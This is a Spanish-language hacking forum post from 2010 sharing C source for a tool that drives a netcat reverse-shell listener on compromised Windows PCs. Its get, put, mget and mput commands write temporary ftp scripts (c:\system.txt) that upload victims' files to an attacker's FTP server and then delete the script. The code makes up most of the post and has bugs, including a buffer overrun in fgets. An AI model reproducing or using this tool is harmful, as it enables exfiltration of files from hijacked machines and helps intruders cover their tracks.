elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales


  Mostrar Temas
Páginas: [1]
1  Seguridad Informática / Hacking / Interfaz Shell remota en: 18 Octubre 2010, 13:55 pm
Hola a todos!
soy nuevo aqui, aunque os llevo leyendo muucho tiempo, para estrenarme os pongo un programilla de cosecha propia xD

El problema se me planteo cuando conseguí mis primeras shell de pcs bajo windows, dices vale, ya tengo la shell, pero ahora como me bajo ese fichero??
Las soluciones son varias, pero si te decantas por usar el ftp de la maquina remota, puede ser muy laborioso. Así que la misión de este programa en C es automatizar el proceso.
El programa  lee de la entrada estandar, y manda a la shell remota por un pipe, por ejemplo, si usamos netcat:

Código:
interfaz | nc -l -p puerto -vv

el progamilla lee de la entrada estanar y lo envia a nc tal cual, escepto los comando reservados, que son:
get fichero
put fichero
mget ficheros
mput ficheros
(mget y mput se pueden usar por ejemplo así: mget *.jpg)

ya os podeis imaginar que hacen esos comandos xD
No lo he probado en guidous pero en Linux va de lujo jeje

el código es criticable jaja, pero me salió asi:

Código:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

main(){
    char buffer[100], rutaa[50]="c:\\system.txt", fichero[50];
    int i, fd[2];
    char user[]="usuario", pass[]="contraseña", ip[]="ftp donde vamos a subir los ficheros";
   
    pipe(fd);

    for(;;){
        if(i=fork()==0){
            close(fd[0]);
            bzero(buffer, sizeof(buffer));
            bzero(fichero, sizeof(fichero));   
            fgets(buffer,101, stdin);
            if(buffer[0]=='g' && buffer[1]=='e' && buffer[2]=='t' && buffer[3]==' '){
                memcpy(fichero, strchr(buffer, ' ')+1, -(strchr(buffer, ' ')+1 -strchr(buffer, '\n')));
                printf("echo o >%s\necho %s >>%s\necho %s>>%s\necho %s>>%s\necho put %s>>%s\necho quit>>%s\nftp -s:%s\ndel %s\n",rutaa, ip, rutaa,  user, rutaa, pass, rutaa, fichero, rutaa,rutaa, rutaa,rutaa);
                fflush(NULL);
            }else if(buffer[0]=='m' && buffer[1]=='g' && buffer[2]=='e' && buffer[3]=='t' && buffer[4]==' '){
                memcpy(fichero, strchr(buffer, ' ')+1, -(strchr(buffer, ' ')+1 -strchr(buffer, '\n')));
                printf("echo o >%s\necho %s >>%s\necho %s>>%s\necho %s>>%s\necho prompt off>>%s\necho mput %s>>%s\necho quit>>%s\nftp -s:%s\ndel %s\n",rutaa, ip, rutaa,  user, rutaa, pass, rutaa, rutaa, fichero, rutaa,rutaa, rutaa,rutaa);
                fflush(NULL);
            }else if(buffer[0]=='p' && buffer[1]=='u' && buffer[2]=='t' && buffer[3]==' '){
                memcpy(fichero, strchr(buffer, ' ')+1, -(strchr(buffer, ' ')+1 -strchr(buffer, '\n')));
                printf("echo o >%s\necho %s >>%s\necho %s>>%s\necho %s>>%s\necho get %s>>%s\necho quit>>%s\nftp -s:%s\ndel %s\n",rutaa, ip, rutaa,  user, rutaa, pass, rutaa, fichero, rutaa,rutaa, rutaa,rutaa);
                fflush(NULL);
            }else if(buffer[0]=='m' && buffer[1]=='p' && buffer[2]=='u' && buffer[3]=='t' && buffer[4]==' '){
                memcpy(fichero, strchr(buffer, ' ')+1, -(strchr(buffer, ' ')+1 -strchr(buffer, '\n')));
                printf("echo o >%s\necho %s >>%s\necho %s>>%s\necho %s>>%s\necho prompt off>>%s\necho mget %s>>%s\necho quit>>%s\nftp -s:%s\ndel %s\n",rutaa, ip, rutaa,  user, rutaa, pass, rutaa, rutaa, fichero, rutaa,rutaa, rutaa,rutaa);
                fflush(NULL);
            }else{
                printf("%s",buffer);
                write(fd[1], "", 1);
                close(fd[1]);
                exit(0);
            }
        }else{
        read(fd[0], NULL, 1);
        wait(NULL);
        }
    }
}


Espero que a alguien le sirva

Saludos



Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines